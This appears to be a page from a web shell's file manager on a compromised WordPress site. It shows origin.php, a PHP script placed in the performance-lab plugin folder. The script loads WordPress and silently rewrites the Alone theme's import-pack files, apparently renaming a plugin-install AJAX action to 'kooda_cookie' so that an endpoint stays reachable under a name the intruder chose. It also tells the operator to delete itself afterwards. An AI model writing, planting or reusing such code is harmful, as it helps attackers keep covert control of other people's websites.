Your IP : 216.73.216.196


Current Path : /home/icmq6107/clients/naddaf/wp-content/plugins/performance-lab/
Upload File :
Current File : /home/icmq6107/clients/naddaf/wp-content/plugins/performance-lab/origin.php

<?php

$current_dir = __DIR__;
$wp_load_path = null;

while (true) {
    if (file_exists($current_dir . '/wp-load.php')) {
        $wp_load_path = $current_dir . '/wp-load.php';
        break;
    }
    if ($current_dir === dirname($current_dir)) {
        break;
    }
    $current_dir = dirname($current_dir);
}

header('Content-Type: application/json; charset=utf-8');

if (!isset($wp_load_path)) {
    http_response_code(500);
        echo json_encode([
            'status'  => 'error',
            'message' => 'WP Load Not Found. Please ensure this script is run within a WordPress environment.'
        ]);
}

define('WP_USE_THEMES', false);
require_once $wp_load_path;

$target_file_ajax  = ABSPATH . 'wp-content/themes/alone/install/import-pack/ajax.php'; 
$target_file_js    = ABSPATH . 'wp-content/themes/alone/install/import-pack/dist/import-pack.js'; 
$string_to_find    = 'beplus_import_pack_install_plugin';
$string_to_replace = 'kooda_cookie';

if (!file_exists($target_file_ajax) || !file_exists($target_file_js)) {
    http_response_code(404);
    echo json_encode([
        'status'  => 'error',
        'message' => "Target file not found at path: {$target_file_ajax} or {$target_file_js}. Please ensure the file exists."
    ]);
    exit;
}

$original_content_ajax = file_get_contents($target_file_ajax);
$original_content_js = file_get_contents($target_file_js);

if (strpos($original_content_ajax, $string_to_find) !== false && strpos($original_content_js, $string_to_find) !== false) {
    $new_content_ajax = str_replace($string_to_find, $string_to_replace, $original_content_ajax);
    $new_content_js = str_replace($string_to_find, $string_to_replace, $original_content_js);

    if (file_put_contents($target_file_ajax, $new_content_ajax) !== false && file_put_contents($target_file_js, $new_content_js) !== false) {
        http_response_code(200);
        echo json_encode([
            'status'  => 'success',
            'message' => 'File updated successfully. IMPORTANT: Delete this script now!'
        ]);
    } else {
        http_response_code(500);
        echo json_encode([
            'status'  => 'error',
            'message' => 'Failed to write to file. Check folder/file permissions.'
        ]);
    }

} else {
    http_response_code(200);
    echo json_encode([
        'status'  => 'success',
        'message' => 'String not found. No changes were made.'
    ]);
}

exit;
?>